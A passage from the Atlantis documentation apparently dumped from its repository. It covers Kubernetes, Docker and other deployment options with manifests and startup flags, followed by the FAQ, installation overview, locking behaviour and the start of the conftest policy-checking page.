[--repo-allowlist](server-configuration.md#repo-allowlist) for more details.\n3. If you're using GitHub:\n    1. Replace `<YOUR_GITHUB_USER>` with the username of your Atlantis GitHub user without the `@`.\n    2. Delete all the `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables.\n4. If you're using GitLab:\n    1. Replace `<YOUR_GITLAB_USER>` with the username of your Atlantis GitLab user without the `@`.\n    2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITEA_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables.\n5. If you're using Gitea:\n    1. Replace `<YOUR_GITEA_USER>` with the username of your Atlantis Gitea user without the `@`.\n    2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_BITBUCKET_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables.\n6. If you're using Bitbucket:\n    1. Replace `<YOUR_BITBUCKET_USER>` with the username of your Atlantis Bitbucket user without the `@`.\n    2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, and `ATLANTIS_AZUREDEVOPS_*` environment variables.\n7. If you're using Azure DevOps:\n    1. Replace `<YOUR_AZUREDEVOPS_USER>` with the username of your Atlantis Azure DevOps user without the `@`.\n    2. Delete all the `ATLANTIS_GH_*`, `ATLANTIS_GITLAB_*`, `ATLANTIS_GITEA_*`, and `ATLANTIS_BITBUCKET_*` environment variables.\n\n#### StatefulSet Manifest\n\n<details>\n <summary>Show...</summary>\n\n```yaml\napiVersion: apps/v1\nkind: StatefulSet\nmetadata:\n  name: atlantis\nspec:\n  serviceName: atlantis\n  replicas: 1\n  updateStrategy:\n    type: RollingUpdate\n    rollingUpdate:\n      partition: 0\n  selector:\n    matchLabels:\n      app.kubernetes.io/name: atlantis\n  template:\n    metadata:\n      labels:\n        app.kubernetes.io/name: atlantis\n    spec:\n      securityContext:\n        fsGroup: 1000 # Atlantis group (1000) read/write access to volumes.\n      containers:\n      - name: atlantis\n        image: ghcr.io/runatlantis/atlantis:v<VERSION> # 1. Replace <VERSION> with the most recent release.\n        env:\n        - name: ATLANTIS_REPO_ALLOWLIST\n          value: github.com/yourorg/* # 2. Replace this with your own repo allowlist.\n\n        ### GitHub Config ###\n        - name: ATLANTIS_GH_USER\n          value: <YOUR_GITHUB_USER> # 3i. If you're using GitHub replace <YOUR_GITHUB_USER> with the username of your Atlantis GitHub user without the `@`.\n        - name: ATLANTIS_GH_TOKEN\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: token\n        - name: ATLANTIS_GH_WEBHOOK_SECRET\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: webhook-secret\n        ### End GitHub Config ###\n\n        ### GitLab Config ###\n        - name: ATLANTIS_GITLAB_USER\n          value: <YOUR_GITLAB_USER> # 4i. If you're using GitLab replace <YOUR_GITLAB_USER> with the username of your Atlantis GitLab user without the `@`.\n        - name: ATLANTIS_GITLAB_TOKEN\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: token\n        - name: ATLANTIS_GITLAB_WEBHOOK_SECRET\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: webhook-secret\n        ### End GitLab Config ###\n\n        ### Gitea Config ###\n        - name: ATLANTIS_GITEA_USER\n          value: <YOUR_GITEA_USER> # 4i. If you're using Gitea replace <YOUR_GITEA_USER> with the username of your Atlantis Gitea user without the `@`.\n        - name: ATLANTIS_GITEA_TOKEN\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: token\n        - name: ATLANTIS_GITEA_WEBHOOK_SECRET\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: webhook-secret\n        ### End Gitea Config ###\n\n        ### Bitbucket Config ###\n        - name: ATLANTIS_BITBUCKET_USER\n          value: <YOUR_BITBUCKET_USER> # 5i. If you're using Bitbucket replace <YOUR_BITBUCKET_USER> with the username of your Atlantis Bitbucket user without the `@`.\n        - name: ATLANTIS_BITBUCKET_TOKEN\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: token\n        - name: ATLANTIS_BITBUCKET_WEBHOOK_SECRET\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: webhook-secret\n        ### End Bitbucket Config ###\n\n        ### Azure DevOps Config ###\n        - name: ATLANTIS_AZUREDEVOPS_USER\n          value: <YOUR_AZUREDEVOPS_USER> # 6i. If you're using Azure DevOps replace <YOUR_AZUREDEVOPS_USER> with the username of your Atlantis Azure DevOps user without the `@`.\n        - name: ATLANTIS_AZUREDEVOPS_TOKEN\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: token\n        - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_USER\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: basic-user\n        - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: basic-password\n        ### End Azure DevOps Config ###\n\n        - name: ATLANTIS_DATA_DIR\n          value: /atlantis\n        - name: ATLANTIS_PORT\n          value: \"4141\" # Kubernetes sets an ATLANTIS_PORT variable so we need to override.\n        volumeMounts:\n        - name: atlantis-data\n          mountPath: /atlantis\n        ports:\n        - name: atlantis\n          containerPort: 4141\n        resources:\n          requests:\n            memory: 256Mi\n            cpu: 100m\n          limits:\n            memory: 256Mi\n            cpu: 100m\n        livenessProbe:\n          # We only need to check every 60s since Atlantis is not a\n          # high-throughput service.\n          periodSeconds: 60\n          httpGet:\n            path: /healthz\n            port: 4141\n            # If using https, change this to HTTPS\n            scheme: HTTP\n        readinessProbe:\n          periodSeconds: 60\n          httpGet:\n            path: /healthz\n            port: 4141\n            # If using https, change this to HTTPS\n            scheme: HTTP\n  volumeClaimTemplates:\n  - metadata:\n      name: atlantis-data\n    spec:\n      accessModes: [\"ReadWriteOnce\"] # Volume should not be shared by multiple nodes.\n      resources:\n        requests:\n          # The biggest thing Atlantis stores is the Git repo when it checks it out.\n          # It deletes the repo after the pull request is merged.\n          storage: 5Gi\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: atlantis\nspec:\n  type: ClusterIP\n  ports:\n  - name: atlantis\n    port: 80\n    targetPort: 4141\n  selector:\n    app.kubernetes.io/name: atlantis\n```\n\n</details>\n\n#### Deployment Manifest\n\n<details>\n <summary>Show...</summary>\n\n```yaml\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: atlantis\n  labels:\n    app.kubernetes.io/name: atlantis\nspec:\n  replicas: 1\n  selector:\n    matchLabels:\n      app.kubernetes.io/name: atlantis\n  template:\n    metadata:\n      labels:\n        app.kubernetes.io/name: atlantis\n    spec:\n      containers:\n      - name: atlantis\n        image: ghcr.io/runatlantis/atlantis:v<VERSION> # 1. Replace <VERSION> with the most recent release.\n        env:\n        - name: ATLANTIS_REPO_ALLOWLIST\n          value: github.com/yourorg/* # 2. Replace this with your own repo allowlist.\n\n        ### GitHub Config ###\n        - name: ATLANTIS_GH_USER\n          value: <YOUR_GITHUB_USER> # 3i. If you're using GitHub replace <YOUR_GITHUB_USER> with the username of your Atlantis GitHub user without the `@`.\n        - name: ATLANTIS_GH_TOKEN\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: token\n        - name: ATLANTIS_GH_WEBHOOK_SECRET\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: webhook-secret\n        ### End GitHub Config ###\n\n        ### GitLab Config ###\n        - name: ATLANTIS_GITLAB_USER\n          value: <YOUR_GITLAB_USER> # 4i. If you're using GitLab replace <YOUR_GITLAB_USER> with the username of your Atlantis GitLab user without the `@`.\n        - name: ATLANTIS_GITLAB_TOKEN\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: token\n        - name: ATLANTIS_GITLAB_WEBHOOK_SECRET\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: webhook-secret\n        ### End GitLab Config ###\n\n        ### Gitea Config ###\n        - name: ATLANTIS_GITEA_USER\n          value: <YOUR_GITEA_USER> # 4i. If you're using Gitea replace <YOUR_GITEA_USER> with the username of your Atlantis Gitea user without the `@`.\n        - name: ATLANTIS_GITEA_TOKEN\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: token\n        - name: ATLANTIS_GITEA_WEBHOOK_SECRET\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: webhook-secret\n        ### End Gitea Config ###\n\n        ### Bitbucket Config ###\n        - name: ATLANTIS_BITBUCKET_USER\n          value: <YOUR_BITBUCKET_USER> # 5i. If you're using Bitbucket replace <YOUR_BITBUCKET_USER> with the username of your Atlantis Bitbucket user without the `@`.\n        - name: ATLANTIS_BITBUCKET_TOKEN\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: token\n        ### End Bitbucket Config ###\n\n        ### Azure DevOps Config ###\n        - name: ATLANTIS_AZUREDEVOPS_USER\n          value: <YOUR_AZUREDEVOPS_USER> # 6i. If you're using Azure DevOps replace <YOUR_AZUREDEVOPS_USER> with the username of your Atlantis Azure DevOps user without the `@`.\n        - name: ATLANTIS_AZUREDEVOPS_TOKEN\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: token\n        - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_USER\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: basic-user\n        - name: ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD\n          valueFrom:\n            secretKeyRef:\n              name: atlantis-vcs\n              key: basic-password\n        ### End Azure DevOps Config ###\n\n        - name: ATLANTIS_PORT\n          value: \"4141\" # Kubernetes sets an ATLANTIS_PORT variable so we need to override.\n        ports:\n        - name: atlantis\n          containerPort: 4141\n        resources:\n          requests:\n            memory: 256Mi\n            cpu: 100m\n          limits:\n            memory: 256Mi\n            cpu: 100m\n        livenessProbe:\n          # We only need to check every 60s since Atlantis is not a\n          # high-throughput service.\n          periodSeconds: 60\n          httpGet:\n            path: /healthz\n            port: 4141\n            # If using https, change this to HTTPS\n            scheme: HTTP\n        readinessProbe:\n          periodSeconds: 60\n          httpGet:\n            path: /healthz\n            port: 4141\n            # If using https, change this to HTTPS\n            scheme: HTTP\n---\napiVersion: v1\nkind: Service\nmetadata:\n  name: atlantis\nspec:\n  type: ClusterIP\n  ports:\n  - name: atlantis\n    port: 80\n    targetPort: 4141\n  selector:\n    app.kubernetes.io/name: atlantis\n```\n\n</details>\n\n#### Routing and SSL\n\nThe manifests above create a Kubernetes `Service` of `type: ClusterIP` which isn't accessible outside your cluster.\nDepending on how you're doing routing into Kubernetes, you may want to use a Service of `type: LoadBalancer` so that Atlantis is accessible\nto GitHub/GitLab and your internal users.\n\nIf you want to add SSL you can use something like [cert-manager](https://github.com/cert-manager/cert-manager) to generate SSL\ncerts and mount them into the Pod. Then set the `ATLANTIS_SSL_CERT_FILE` and `ATLANTIS_SSL_KEY_FILE` environment variables to enable SSL.\nYou could also set up SSL at your LoadBalancer.\n\n**You're done! See [Next Steps](#next-steps) for what to do next.**\n\n### Kubernetes Kustomize\n\nA `kustomization.yaml` file is provided in the directory `kustomize/`, so you may use this repository as a remote base for deploying Atlantis with Kustomize.\n\nYou will need to provide a secret (with the default name of `atlantis-vcs`) to configure Atlantis with access credentials for your remote repositories.\n\nExample:\n\n```yaml\nbases:\n- github.com/runatlantis/atlantis//kustomize\n\nresources:\n- secrets.yaml\n```\n\n**Important:** You must ensure you patch the provided manifests with the correct environment variables for your installation. You can create inline patches from your `kustomization.yaml` file such as below:\n\n```yaml\npatchesStrategicMerge:\n- |-\n  apiVersion: apps/v1\n  kind: StatefulSet\n  metadata:\n    name: atlantis\n  spec:\n    template:\n      spec:\n        ...\n```\n\n#### Required\n\n```yaml\n...\n containers:\n  - name: atlantis\n    env:\n      - name: ATLANTIS_REPO_ALLOWLIST\n        value: github.com/yourorg/* # 2. Replace this with your own repo allowlist.\n```\n\n#### GitLab\n\n```yaml\n...\ncontainers:\n- name: atlantis\n  env:\n    - name: ATLANTIS_GITLAB_USER\n      value: <YOUR_GITLAB_USER> # 4i. If you're using GitLab replace <YOUR_GITLAB_USER> with the username of your Atlantis GitLab user without the `@`.\n    - name: ATLANTIS_GITLAB_TOKEN\n      valueFrom:\n        secretKeyRef:\n          name: atlantis-vcs\n          key: token\n    - name: ATLANTIS_GITLAB_WEBHOOK_SECRET\n      valueFrom:\n        secretKeyRef:\n          name: atlantis-vcs\n          key: webhook-secret\n```\n\n#### Gitea\n\n```yaml\ncontainers:\n- name: atlantis\n  env:\n    - name: ATLANTIS_GITEA_USER\n      value: <YOUR_GITEA_USER> # 4i. If you're using Gitea replace <YOUR_GITEA_USER> with the username of your Atlantis Gitea user without the `@`.\n    - name: ATLANTIS_GITEA_TOKEN\n      valueFrom:\n        secretKeyRef:\n          name: atlantis-vcs\n          key: token\n    - name: ATLANTIS_GITEA_WEBHOOK_SECRET\n      valueFrom:\n        secretKeyRef:\n          name: atlantis-vcs\n          key: webhook-secret\n```\n\n#### GitHub\n\n```yaml\n...\ncontainers:\n- name: atlantis\n  env:\n    - name: ATLANTIS_GH_USER\n      value: <YOUR_GITHUB_USER> # 3i. If you're using GitHub replace <YOUR_GITHUB_USER> with the username of your Atlantis GitHub user without the `@`.\n    - name: ATLANTIS_GH_TOKEN\n      valueFrom:\n        secretKeyRef:\n          name: atlantis-vcs\n          key: token\n    - name: ATLANTIS_GH_WEBHOOK_SECRET\n      valueFrom:\n        secretKeyRef:\n          name: atlantis-vcs\n          key: webhook-secret\n```\n\n#### BitBucket\n\n```yaml\n...\ncontainers:\n- name: atlantis\n  env:\n    - name: ATLANTIS_BITBUCKET_USER\n      value: <YOUR_BITBUCKET_USER> # 5i. If you're using Bitbucket replace <YOUR_BITBUCKET_USER> with the username of your Atlantis Bitbucket user without the `@`.\n    - name: ATLANTIS_BITBUCKET_TOKEN\n      valueFrom:\n        secretKeyRef:\n          name: atlantis-vcs\n          key: token\n```\n\n### OpenShift\n\nThe Helm chart and Kubernetes manifests above are compatible with OpenShift, however you need to run\nwith an additional environment variable: `HOME=/home/atlantis`. This is required because\nOpenShift runs Docker images with random user id's that use `/` as their home directory.\n\n### AWS Fargate\n\nIf you'd like to run Atlantis on [AWS Fargate](https://aws.amazon.com/fargate/)\n check out the Atlantis module on the [Terraform Module Registry](https://registry.terraform.io/modules/terraform-aws-modules/atlantis/aws/latest)\n and then check out the [Next Steps](#next-steps).\n\n### Google Kubernetes Engine (GKE)\n\nYou can run Atlantis on GKE using the [Helm chart](#kubernetes-helm-chart) or the [manifests](#kubernetes-manifests).\n\nThere is also a set of full Terraform configurations that create a GKE Cluster,\nCloud Storage Backend and TLS certs: [sethvargo atlantis-on-gke](https://github.com/sethvargo/atlantis-on-gke).\n\nOnce you're done, see [Next Steps](#next-steps).\n\n### Google Compute Engine (GCE)\n\nAtlantis can be run on Google Compute Engine using a Terraform module that deploys it as a Docker container on a managed Compute Engine instance.\n\nThis [Terraform module](https://registry.terraform.io/modules/runatlantis/atlantis/gce/latest) features the creation of a Cloud load balancer, a Container-Optimized OS-based VM, a persistent data disk, and a managed instance group.\n\nAfter it is deployed, see [Next Steps](#next-steps).\n\n### Docker\n\nAtlantis has an [official](https://ghcr.io/runatlantis/atlantis) Docker image: `ghcr.io/runatlantis/atlantis`.\n\n#### Customization\n\nIf you need to modify the Docker image that we provide, for instance to add the terragrunt binary, you can do something like this:\n\n1. Create a custom docker file\n\n    ```dockerfile\n    FROM ghcr.io/runatlantis/atlantis:{latest version}\n\n    # copy a terraform binary of the version you need\n    USER root\n    COPY terragrunt /usr/local/bin/terragrunt\n    ```\n\nBeginning with version 0.26.0, the Atlantis image has been updated to run under the atlantis user, replacing the previous root user configuration. This change necessitates adjustments in existing container definitions and scripts to accommodate the new user settings. In scenarios where additional packages from other images are required, users can temporarily switch to the root user by inserting USER root in the Dockerfile. Following the installation of necessary packages, it is advisable to revert to the atlantis user for initiating the Atlantis service.\nAdditionally, the /docker-entrypoint.d/ directory offers a flexible option for introducing extra scripts to be executed prior to the launch of the Atlantis server. This feature is particularly beneficial for users seeking to customize their Atlantis instance without the need to develop a dedicated pipeline.\n**Important Notice**: There is a critical update regarding the data directory in Atlantis. In versions prior to 0.26.0, the directory was configured to be accessible by the root user. However, with the transition to the atlantis user in newer versions, it is imperative to update the directory permissions accordingly in your current deployment when upgrading to a version later than 0.26.0. This step ensures seamless access and functionality for the atlantis user.\n\n1. Build your Docker image\n\n    ```bash\n    docker build -t {YOUR_DOCKER_ORG}/atlantis-custom .\n    ```\n\n1. Run your image\n\n    ```bash\n    docker run {YOUR_DOCKER_ORG}/atlantis-custom server --gh-user=GITHUB_USERNAME --gh-token=GITHUB_TOKEN\n    ```\n\n### Microsoft Azure\n\nThe standard [Kubernetes Helm Chart](#kubernetes-helm-chart) should work fine on [Azure Kubernetes Service](https://docs.microsoft.com/en-us/azure/aks/intro-kubernetes).\n\nAnother option is [Azure Container Instances](https://docs.microsoft.com/en-us/azure/container-instances/). See this community member's [repo](https://github.com/jplane/atlantis-on-aci) or the new and more up-to-date [Terraform module](https://github.com/getindata/terraform-azurerm-atlantis) for install scripts and more information on running Atlantis on ACI.\n\n**Note on ACI Deployment:** Due to a bug in earlier Docker releases, Docker v23.0.0 or later is required for straightforward deployment. Alternatively, the Atlantis Docker image can be pushed to a private registry such as ACR and then used.\n\n### Roll Your Own\n\nIf you want to roll your own Atlantis installation, you can get the `atlantis`\nbinary from [GitHub](https://github.com/runatlantis/atlantis/releases)\nor use the [official Docker image](https://ghcr.io/runatlantis/atlantis).\n\n#### Startup Command\n\nThe exact flags to `atlantis server` depends on your Git host:\n\n##### GitHub\n\n```bash\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--gh-user=\"$USERNAME\" \\\n--gh-token=\"$TOKEN\" \\\n--gh-webhook-secret=\"$SECRET\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n##### GitHub Enterprise\n\n```bash\nHOSTNAME=YOUR_GITHUB_ENTERPRISE_HOSTNAME # ex. github.runatlantis.io\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--gh-user=\"$USERNAME\" \\\n--gh-token=\"$TOKEN\" \\\n--gh-webhook-secret=\"$SECRET\" \\\n--gh-hostname=\"$HOSTNAME\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n##### GitLab\n\n```bash\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--gitlab-user=\"$USERNAME\" \\\n--gitlab-token=\"$TOKEN\" \\\n--gitlab-webhook-secret=\"$SECRET\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n##### GitLab Enterprise\n\n```bash\nHOSTNAME=YOUR_GITLAB_ENTERPRISE_HOSTNAME # ex. gitlab.runatlantis.io\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--gitlab-user=\"$USERNAME\" \\\n--gitlab-token=\"$TOKEN\" \\\n--gitlab-webhook-secret=\"$SECRET\" \\\n--gitlab-hostname=\"$HOSTNAME\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n##### Gitea\n\n```bash\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--gitea-user=\"$USERNAME\" \\\n--gitea-token=\"$TOKEN\" \\\n--gitea-webhook-secret=\"$SECRET\" \\\n--gitea-page-size=30 \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n##### Bitbucket Cloud (bitbucket.org)\n\n```bash\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--bitbucket-user=\"$USERNAME\" \\\n--bitbucket-token=\"$TOKEN\" \\\n--bitbucket-webhook-secret=\"$SECRET\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n##### Bitbucket Server (aka Stash)\n\n```bash\nBASE_URL=YOUR_BITBUCKET_SERVER_URL # ex. http://bitbucket.mycorp:7990\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--bitbucket-user=\"$USERNAME\" \\\n--bitbucket-token=\"$TOKEN\" \\\n--bitbucket-webhook-secret=\"$SECRET\" \\\n--bitbucket-base-url=\"$BASE_URL\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n```\n\n##### Azure DevOps\n\nA certificate and private key are required if using Basic authentication for webhooks.\n\n```bash\natlantis server \\\n--atlantis-url=\"$URL\" \\\n--azuredevops-user=\"$USERNAME\" \\\n--azuredevops-token=\"$TOKEN\" \\\n--azuredevops-webhook-user=\"$ATLANTIS_AZUREDEVOPS_WEBHOOK_USER\" \\\n--azuredevops-webhook-password=\"$ATLANTIS_AZUREDEVOPS_WEBHOOK_PASSWORD\" \\\n--repo-allowlist=\"$REPO_ALLOWLIST\"\n--ssl-cert-file=file.crt\n--ssl-key-file=file.key\n```\n\nWhere\n\n* `$URL` is the URL that Atlantis can be reached at\n* `$USERNAME` is the GitHub/GitLab/Gitea/Bitbucket/AzureDevops username you generated the token for\n* `$TOKEN` is the access token you created. If you don't want this to be passed\n  in as an argument for security reasons you can specify it in a config file\n   (see [Configuration](server-configuration.md#environment-variables))\n    or as an environment variable: `ATLANTIS_GH_TOKEN` or `ATLANTIS_GITLAB_TOKEN` or `ATLANTIS_GITEA_TOKEN`\n     or `ATLANTIS_BITBUCKET_TOKEN` or `ATLANTIS_AZUREDEVOPS_TOKEN`\n* `$SECRET` is the random key you used for the webhook secret.\n   If you don't want this to be passed in as an argument for security reasons\n    you can specify it in a config file\n     (see [Configuration](server-configuration.md#environment-variables))\n      or as an environment variable: `ATLANTIS_GH_WEBHOOK_SECRET` or `ATLANTIS_GITLAB_WEBHOOK_SECRET` or\n  `ATLANTIS_GITEA_WEBHOOK_SECRET`\n* `$REPO_ALLOWLIST` is which repos Atlantis can run on, ex.\n `github.com/runatlantis/*` or `github.enterprise.corp.com/*`.\n  See [--repo-allowlist](server-configuration.md#repo-allowlist) for more details.\n\nAtlantis is now running!\n::: tip\nWe recommend running it under something like Systemd or Supervisord that will\nrestart it in case of failure.\n:::\n\n## Next Steps\n\n* To ensure Atlantis is running, load its UI. By default Atlantis runs on port `4141`.\n* Now you're ready to add Webhooks to your repos. See [Configuring Webhooks](configuring-webhooks.md).\n"
  },
  {
    "path": "runatlantis.io/docs/faq.md",
    "content": "# FAQ\n\n**Q: Does Atlantis affect Terraform [remote state](https://developer.hashicorp.com/terraform/language/state/remote)?**\n\nA: No. Atlantis does not interfere with Terraform remote state in any way. Under the hood, Atlantis is simply executing `terraform plan` and `terraform apply`.\n\n**Q: How does Atlantis locking interact with Terraform [locking](https://developer.hashicorp.com/terraform/language/state/locking)?**\n\nA: Atlantis provides locking of pull requests that prevents concurrent modification of the same infrastructure (Terraform project) whereas Terraform locking only prevents two concurrent `terraform apply`'s from happening.\n\nTerraform locking can be used alongside Atlantis locking since Atlantis is simply executing terraform commands.\n\n**Q: How to run Atlantis in high availability mode? Does it need to be?**\n\nA: Atlantis server can easily be run under the supervision of an init system like `upstart` or `systemd` to make sure `atlantis server` is always running.\n\nAtlantis, by default, stores all locking and Terraform plans locally on disk under the `--data-dir` directory (defaults to `~/.atlantis`). If multiple Atlantis hosts are run by utilizing a shared redis backend, then it's important that the `data-dir` is using a shared filesystem between hosts.\n\nHowever, if you were to lose the data, all you would need to do is run `atlantis plan` again on the pull requests that are open. If someone tries to run `atlantis apply` after the data has been lost then they will get an error back, so they will have to re-plan anyway.\n\n**Q: How to add SSL to Atlantis server?**\n\nA: First, you'll need to get a public/private key pair to serve over SSL.\nThese need to be in a directory accessible by Atlantis. Then start `atlantis server` with the `--ssl-cert-file` and `--ssl-key-file` flags.\nSee `atlantis server --help` for more information.\n\n**Q: How can I get Atlantis up and running on AWS?**\n\nA: There is [terraform-aws-atlantis](https://github.com/terraform-aws-modules/terraform-aws-atlantis) project where complete Terraform configurations for running Atlantis on AWS Fargate are hosted. Tested and maintained.\n"
  },
  {
    "path": "runatlantis.io/docs/how-atlantis-works.md",
    "content": "# How Atlantis Works\n\nThis section of docs talks about how Atlantis works at a deeper level.\n\n* [Locking](locking.md)\n* [Autoplanning](autoplanning.md)\n* [Automerging](automerging.md)\n* [Security](security.md)\n"
  },
  {
    "path": "runatlantis.io/docs/installation-guide.md",
    "content": "# Installation Guide\n\nThis guide is for installing a **production-ready** instance of Atlantis onto your\ninfrastructure:\n\n1. First, ensure your Terraform setup meets the Atlantis **requirements**\n    * See [Requirements](requirements.md)\n1. Create **access credentials** for your Git host (GitHub, GitLab, Gitea, Bitbucket, Azure DevOps)\n    * See [Generating Git Host Access Credentials](access-credentials.md)\n1. Create a **webhook secret** so Atlantis can validate webhooks\n    * See [Creating a Webhook Secret](webhook-secrets.md)\n1. **Deploy** Atlantis into your infrastructure\n    * See [Deployment](deployment.md)\n1. Configure **Webhooks** on your Git host so Atlantis can respond to your pull requests\n    * See [Configuring Webhooks](configuring-webhooks.md)\n1. Configure **provider credentials** so Atlantis can actually run Terraform commands\n    * See [Provider Credentials](provider-credentials.md)\n\n:::tip\nIf you want to test out Atlantis first, check out [Test Drive](../guide/test-drive.md)\nand [Testing Locally](../guide/testing-locally.md).\n:::\n"
  },
  {
    "path": "runatlantis.io/docs/locking.md",
    "content": "# Locking\n\nWhen `plan` is run, the directory and Terraform workspace are **Locked** until the pull request is merged or closed, or the plan is manually deleted.\n\nIf another user attempts to `plan` for the same directory and workspace in a different pull request\nthey'll see this error:\n\n![Lock Comment](./images/lock-comment.png)\n\nWhich links them to the pull request that holds the lock.\n\n::: warning NOTE\nOnly the directory in the repo and Terraform workspace are locked, not the whole repo.\n:::\n\n## Why\n\n1. Because `atlantis apply` is being done before the pull request is merged, after\nan apply your `main` branch does not represent the most up-to-date version of your infrastructure\nanymore. With locking, you can ensure that no other changes will be made until the\npull request is merged.\n\n::: tip Why not apply on merge?\nSometimes `terraform apply` fails. If the apply were to fail after the pull\nrequest was merged, you would need to create a new pull request to fix it.\nWith locking + applying on the branch, you effectively mimic merging to main\nbut with the added ability to re-plan/apply multiple times if things don't work.\n:::\n2. If there is already a `plan` in progress, other users won't see a plan that\nwill be made invalid after the in-progress plan is applied.\n\n## Viewing Locks\n\nTo view locks, go to the URL that Atlantis is hosted at:\n\n![Locks View](./images/locks-ui.png)\n\nYou can click on a lock to view its details:\n\n<p align=\"center\">\n    <img src=\"./images/lock-detail-ui.png\" alt=\"Lock Detail View\" height=\"400px\">\n</p>\n\n## Unlocking\n\nThe project and workspace will be automatically unlocked when the PR is merged or closed.\n\nTo unlock the project and workspace without completing an `apply` and merging, comment `atlantis unlock` on the PR,\nor click the link at the bottom of the plan comment to discard the plan and delete the lock where\nit says **\"To discard this plan click here\"**:\n\n![Locks View](./images/lock-delete-comment.png)\n\nThe link will take you to the lock detail view where you can click **Discard Plan and Unlock**\nto delete the lock.\n\n<p align=\"center\">\n    <img src=\"./images/lock-detail-ui.png\" alt=\"Lock Detail View\" height=\"400px\">\n</p>\n\nOnce a plan is discarded, you'll need to run `plan` again prior to running `apply` when you go back to that pull request.\n\n## Relationship to Terraform State Locking\n\nAtlantis does not conflict with [Terraform State Locking](https://developer.hashicorp.com/terraform/language/state/locking). Under the hood, all\nAtlantis is doing is running `terraform plan` and `apply` and so all of the\nlocking built in to those commands by Terraform isn't affected.\n\nIn more detail, Terraform state locking locks the state while you run `terraform apply`\nso that multiple applies can't run concurrently. Atlantis's locking is at a higher\nlevel because it prevents multiple pull requests from working on the same state.\n"
  },
  {
    "path": "runatlantis.io/docs/policy-checking.md",
    "content": "# Conftest Policy Checking\n\nAtlantis supports running server-side [conftest](https://www.conftest.dev/) policies against the plan output. Common usecases\nfor using this step include:\n\n- Denying usage of a list of modules\n- Asserting attributes of a resource at creation time\n- Catching unintentional resource deletions\n- Preventing security risks (i.e. exposing secure ports to the public)\n\n## How it works?\n\nEnabling \"policy checking\" in addition to the [mergeable apply requirement](command-requirements.md#supported-requirements) blocks applies on plans that fail any of the defined conftest policies.\n\n![Policy Check Apply Failure](./images/policy-check-apply-failure.png)\n\n![Policy Check Apply Status Failure](./images/policy-check-apply-status-failure.png)\n\nAny failures need to either be addressed in a successive commit, or approved by top-level owner(s) of policies or the owner(s) of the policy set in question. Policy approvals are independent of the approval apply requirement which can coexist in the policy checking workflow. After policies are approved, the apply can proceed.\n\n![Policy Check Approval](./images/policy-check-approval.png)\n\nPolicy approvals may be cleared either by re-planing, or by issuing the following command:\n\n```shell\natlantis approve_policies --clear-policy-approval\n```\n\n::: warning\nAny plans following the approval will discard any policy approval and prompt again for it.\n:::\n\n## Getting Started\n\nThis section will provide a guide on how to get set up with a simple policy that fails creation of `null_resource`'s and requires approval from a blessed user.\n\n### Step 1: Enable the workflow\n\nEnable the workflow using the following server configuration flag `--enable-policy-checks`\n\n::: warning\nAll repositories will have policy checking enabled.\n:::\n\n::: warning NOTE\nIf you are using the [`--gh-team-allowlist`](server-configuration.md#gh-team-allowlist) flag to restrict which teams can run commands, you **must** also allowlist the `policy_check` command for policy checks to work on manual `atlantis plan` commands.\n\nFor example:\n\n```bash\natlantis server --gh-team-allowlist=\"*:plan,*:policy_check,*:unlock,myteam:apply\"\n```\n\nAlternatively, you can use `allowed_overrides: [policy_check]` in your [server-side repo config](server-side-repo-config.md).\n\n**Why is this needed?**\n\n- `policy_check` is an internal command that runs automatically after `plan`\n- When using team allowlists, Atlantis checks if the user is authorized to run `policy_check`\n- Autoplans bypass this check (they don't have a user), which is why they work without this configuration\n- Without allowlisting `policy_check`, manual `atlantis 